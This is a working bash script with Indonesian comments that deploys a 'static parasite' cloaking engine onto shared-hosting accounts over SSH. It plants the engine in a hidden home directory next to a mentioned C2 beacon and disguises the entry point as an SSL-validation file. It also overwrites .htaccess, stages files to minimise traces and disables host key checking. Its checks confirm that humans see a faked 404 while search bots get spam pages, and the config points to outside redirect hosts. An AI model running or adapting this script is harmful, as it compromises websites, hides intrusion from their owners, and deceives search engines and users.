#!/usr/bin/env bash
# =============================================================================
# Static Parasite Deployer (D2) — deploy cloaking engine ke domain kosong.
# PRD: PRD-static-parasite-cloaking.md
#
# Layout server target (shared hosting cPanel, account home = /home2/USER):
#   public_html/.htaccess                      <- catch-all rewrite
#   public_html/.well-known/pki-validation/acme-verify.php  <- entry
#   ~/.sqmailattach/.dbdata/engine.php          <- engine
#   ~/.sqmailattach/.dbdata/themes/*.tpl        <- theme
#   ~/.sqmailattach/.dbdata/data/*              <- keywords/taglines/articles/config
#   ~/.sqmailattach/.dbdata/404.bin             <- fingerprint 404 native
#
# Alur:
#   1. Preflight: cek SSH + deteksi index.* di docroot (parking page ->
#      ABORT minta konfirmasi operator).
#   2. Capture fingerprint 404 via HTTP (headers + body) -> 404.bin.
#   3. Upload engine + theme + data + entry + .htaccess.
#   4. chmod 755 dir / 644 file (JANGAN 777 — SoftException suPHP!).
#   5. Verifikasi: human 404, bot 200 + marker, determinisme.
#   6. Log ke static-parasite/deploy-log/<host>.log
#
# Pemakaian:
#   ./deploy.sh <host> [ssh-alias] [docroot-subdir] [entry-name]
#   docroot-subdir: relatif ke ~/public_html/ (addon domain pakai subdir,
#   default: public_html langsung). Contoh centurionlgplus.com:
#   ./deploy.sh centurionlgplus.com eceg centurionlgplus
#   entry-name: nama file entry di .well-known/pki-validation/
#   (default ssl-dv.php; JANGAN pakai acme-verify.php — sudah dipakai
#   beacon C2 selfheal, lihat sh-akses/akes.txt).
# =============================================================================
set -euo pipefail

HOST="${1:?usage: deploy.sh <host> [ssh-alias] [docroot-subdir] [entry-name]}"
SSH_ALIAS="${2:-}"
DOCROOT_SUB="${3:-}"
ENTRY_NAME="${4:-ssl-dv.php}"

HERE="$(cd "$(dirname "$0")" && pwd)"
SRC="$HERE"
LOGDIR="$SRC/deploy-log"
LOG="$LOGDIR/$HOST.log"
SSH_OPTS=(-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no -o ConnectTimeout=15)

if [ -n "$SSH_ALIAS" ]; then
  SSH() { ssh "${SSH_OPTS[@]}" "$SSH_ALIAS" "$@"; }
  SCP() { scp "${SSH_OPTS[@]}" "$@"; }
else
  SSH() { ssh "${SSH_OPTS[@]}" "$@"; }
  SCP() { scp "${SSH_OPTS[@]}" "$@"; }
fi

mkdir -p "$LOGDIR"
log() { echo "[$(date '+%F %T')] $*" | tee -a "$LOG"; }

UA_HUMAN="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126 Safari/537.36"
UA_SYNC="Mozilla/5.0 (compatible; AMPHostSync/1.0; +https://amp.host/sync)"
UA_GBOT="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

# ---------------------------------------------------------------------------
log "=== DEPLOY static-parasite -> $HOST ==="

# --- 1. Preflight -----------------------------------------------------------
log "[1] preflight SSH: $SSH_ALIAS"
HOME_REMOTE=$(SSH 'echo $HOME')
[ -n "$HOME_REMOTE" ] || { log "ABORT: SSH gagal / HOME kosong"; exit 1; }
log "    remote HOME=$HOME_REMOTE"

DOCROOT="$HOME_REMOTE/public_html"
if [ -n "$DOCROOT_SUB" ]; then DOCROOT="$DOCROOT/$DOCROOT_SUB"; fi
# .dbdata dipakai bersama C2 stash (beacon/selfheal) — parasite taruh di subdir
DBDATA="$HOME_REMOTE/.sqmailattach/.dbdata/parasite"

log "[1b] deteksi index.* / parking page di docroot..."
INDEXES=$(SSH "ls -A '$DOCROOT' 2>/dev/null | grep -iE '^(index\.[a-z0-9]+|default\.[a-z0-9]+)$' || true")
if [ -n "$INDEXES" ]; then
  log "ABORT: docroot ada file index (parking page?): $INDEXES"
  log "       RewriteCond !-f akan membuat catch-all mati. Konfirmasi operator"
  log "       diperlukan sebelum hapus/replace (PRD Section 10.9)."
  exit 2
fi
log "    docroot bersih (tidak ada index.*)"

# --- 2. Fingerprint 404 ----------------------------------------------------
log "[2] capture fingerprint 404 native..."
RAND_PATH="/__sp_probe_$(date +%s)__/"
FP_HEADERS=$(curl -s -D - -o /dev/null -A "$UA_HUMAN" --max-time 20 "https://$HOST$RAND_PATH" 2>/dev/null || true)
if echo "$FP_HEADERS" | head -1 | grep -q " 404 "; then
  FP_HEADERS_CLEAN=$(echo "$FP_HEADERS" | grep -viE '^(date:|server:|set-cookie:|cf-|report-to:|nel:|alt-svc:|connection:|transfer-encoding:|content-length:|HTTP/)' || true)
  curl -s -A "$UA_HUMAN" --max-time 20 "https://$HOST$RAND_PATH" -o "$LOGDIR/$HOST.404body" 2>/dev/null || true
  { echo "$FP_HEADERS_CLEAN"; echo "%%BODY%%"; cat "$LOGDIR/$HOST.404body" 2>/dev/null || true; } > "$LOGDIR/$HOST.404.bin"
  log "    fingerprint 404 OK -> $HOST.404.bin ($(wc -c < "$LOGDIR/$HOST.404.bin") bytes)"
else
  log "    WARN: probe 404 tidak dapat 404 (CF challenge/other). Lanjut pakai preset server_software di config."
  rm -f "$LOGDIR/$HOST.404.bin"
fi

# --- 3. Upload --------------------------------------------------------------
log "[3] buat struktur .dbdata di luar docroot..."
SSH "mkdir -p '$DBDATA/themes' '$DBDATA/data' '$DOCROOT/.well-known/pki-validation'"

log "[3b] upload engine/theme/data (staging /tmp dulu, lalu mv — minim jejak)..."
SCP -q "$SRC/engine.php" "$SRC/themes/teepublic-v2.tpl" "${SSH_ALIAS:+$SSH_ALIAS:}/tmp/" 2>/dev/null \
  || SCP -q "$SRC/engine.php" "$SRC/themes/teepublic-v2.tpl" /tmp/ 2>/dev/null \
  || { log "ABORT: scp gagal"; exit 1; }

# data pool dari parasite-mu-plugin + config static per-host
log "[3c] upload data pool..."
for f in keywords.txt taglines.txt articles.tpl; do
  SCP -q "$SRC/../parasite-mu-plugin/data/$f" "${SSH_ALIAS:+$SSH_ALIAS:}/tmp/" 2>/dev/null || SCP -q "$SRC/../parasite-mu-plugin/data/$f" /tmp/ || { log "ABORT: scp data $f gagal"; exit 1; }
done

# config per-host (dibuat lokal dulu kalau belum ada)
CONF_SRC="$SRC/configs/$HOST.json"
if [ ! -f "$CONF_SRC" ]; then
  mkdir -p "$SRC/configs"
  cat > "$CONF_SRC" <<EOF
{
  "mode": "static",
  "theme": "themes/teepublic-v2.tpl",
  "amp_host": "flytothemoon.dpdns.org",
  "cf_mode": true,
  "server_software": "apache",
  "redirect_url": "https://bonkpuch.qzz.io",
  "human_404": "404.bin",
  "bots": ["googlebot", "bingbot", "duckduckbot", "yandexbot", "slurp", "baidu", "applebot", "facebookexternalhit", "AMPHostSync"],
  "rdns_verify": ["googlebot"],
  "cache_ttl": 3600
}
EOF
  log "    config baru dibuat: configs/$HOST.json (cf_mode=true, UA sync di allowlist)"
fi
SCP -q "$CONF_SRC" "${SSH_ALIAS:+$SSH_ALIAS:}/tmp/config.json" 2>/dev/null || SCP -q "$CONF_SRC" /tmp/config.json

log "[3d] pasang file di lokasi final (SSH mv + chmod)..."
SSH "cp /tmp/engine.php '$DBDATA/engine.php' && cp /tmp/teepublic-v2.tpl '$DBDATA/themes/' && cp /tmp/keywords.txt /tmp/taglines.txt /tmp/articles.tpl '$DBDATA/data/' && cp /tmp/config.json '$DBDATA/data/config.json' && rm -f /tmp/engine.php /tmp/teepublic-v2.tpl /tmp/keywords.txt /tmp/taglines.txt /tmp/articles.tpl /tmp/config.json"

# fingerprint 404 (kalau berhasil dicapture)
if [ -f "$LOGDIR/$HOST.404.bin" ]; then
  SCP -q "$LOGDIR/$HOST.404.bin" "${SSH_ALIAS:+$SSH_ALIAS:}/tmp/404.bin" 2>/dev/null || SCP -q "$LOGDIR/$HOST.404.bin" /tmp/404.bin
  SSH "cp /tmp/404.bin '$DBDATA/404.bin' && rm -f /tmp/404.bin"
fi

# entry + .htaccess
ENTRY_TMP=$(mktemp)
sed "s|\[\[SP_BASE_DIR\]\]|$DBDATA|g" "$SRC/entry.php" > "$ENTRY_TMP"
if grep -q '\[\[SP_BASE_DIR\]\]' "$ENTRY_TMP"; then
  log "ABORT: placeholder entry tidak tersubstitusi (bug deployer)"; exit 1
fi
SCP -q "$ENTRY_TMP" "${SSH_ALIAS:+$SSH_ALIAS:}/tmp/ssl-dv.php" 2>/dev/null || SCP -q "$ENTRY_TMP" /tmp/ssl-dv.php
rm -f "$ENTRY_TMP"
SSH "cp /tmp/ssl-dv.php '$DOCROOT/.well-known/pki-validation/$ENTRY_NAME' && rm -f /tmp/ssl-dv.php"
HT_TMP=$(mktemp)
sed "s|acme-verify\.php|$ENTRY_NAME|g" "$SRC/htaccess.tpl" > "$HT_TMP"
SCP -q "$HT_TMP" "${SSH_ALIAS:+$SSH_ALIAS:}/tmp/htaccess.sp" 2>/dev/null || SCP -q "$HT_TMP" /tmp/htaccess.sp
rm -f "$HT_TMP"
SSH "cp /tmp/htaccess.sp '$DOCROOT/.htaccess' && rm -f /tmp/htaccess.sp"

# --- 4. Permission (WAJIB 755/644 — SoftException suPHP) --------------------
log "[4] chmod: dir 755, file 644 (anti SoftException)..."
SSH "find '$DBDATA' -type d -exec chmod 755 {} + 2>/dev/null; find '$DBDATA' -type f -exec chmod 644 {} + 2>/dev/null; chmod 755 '$DOCROOT/.well-known' '$DOCROOT/.well-known/pki-validation' 2>/dev/null; chmod 644 '$DOCROOT/.htaccess' '$DOCROOT/.well-known/pki-validation/$ENTRY_NAME' 2>/dev/null; chmod 700 '$HOME_REMOTE/.sqmailattach' 2>/dev/null; true"

# --- 5. Verifikasi -----------------------------------------------------------
log "[5] verifikasi..."

sleep 2
FAIL=0

# 5a. Human -> 404
CODE_HUMAN=$(curl -s -o /dev/null -w "%{http_code}" -A "$UA_HUMAN" --max-time 20 "https://$HOST/join-our-panel/")
if [ "$CODE_HUMAN" = "404" ]; then log "    PASS human 404 ($CODE_HUMAN)"; else log "    FAIL human: got $CODE_HUMAN want 404"; FAIL=1; fi

# 5b. Bot UA allowlist (AMPHostSync) -> 200 + marker
BODY_SYNC=$(curl -s -A "$UA_SYNC" --max-time 25 "https://$HOST/join-our-panel/")
CODE_SYNC=$(curl -s -o /dev/null -w "%{http_code}" -A "$UA_SYNC" --max-time 25 "https://$HOST/join-our-panel/")
if [ "$CODE_SYNC" = "200" ]; then log "    PASS sync-bot 200"; else log "    FAIL sync-bot: got $CODE_SYNC want 200"; FAIL=1; fi
if echo "$BODY_SYNC" | grep -q 'data-lp-article="1"'; then log "    PASS marker data-lp-article"; else log "    FAIL marker data-lp-article tidak ada"; FAIL=1; fi
if echo "$BODY_SYNC" | grep -q 'rel="amphtml"'; then log "    PASS amphtml"; else log "    FAIL amphtml tidak ada"; FAIL=1; fi

# 5c. Determinisme
H1=$(echo "$BODY_SYNC" | md5sum | cut -d' ' -f1)
H2=$(curl -s -A "$UA_SYNC" --max-time 25 "https://$HOST/join-our-panel/" | md5sum | cut -d' ' -f1)
if [ "$H1" = "$H2" ]; then log "    PASS determinisme ($H1)"; else log "    FAIL determinisme beda"; FAIL=1; fi

# 5d. Spoof Googlebot dari IP non-Google -> 404
CODE_SPOOF=$(curl -s -o /dev/null -w "%{http_code}" -A "$UA_GBOT" --max-time 20 "https://$HOST/join-our-panel/")
if [ "$CODE_SPOOF" = "404" ]; then log "    PASS spoof-googlebot 404"; else log "    FAIL spoof-googlebot: got $CODE_SPOOF want 404"; FAIL=1; fi

# --- 6. Hasil ---------------------------------------------------------------
if [ "$FAIL" = "0" ]; then
  log "=== DEPLOY $HOST: SEMUA VERIFIKASI PASS ==="
  echo "DEPLOY OK: $HOST (lihat $LOG)"
else
  log "=== DEPLOY $HOST: ADA VERIFIKASI GAGAL — cek log ==="
  echo "DEPLOY PARTIAL: $HOST — lihat $LOG"
  exit 1
fi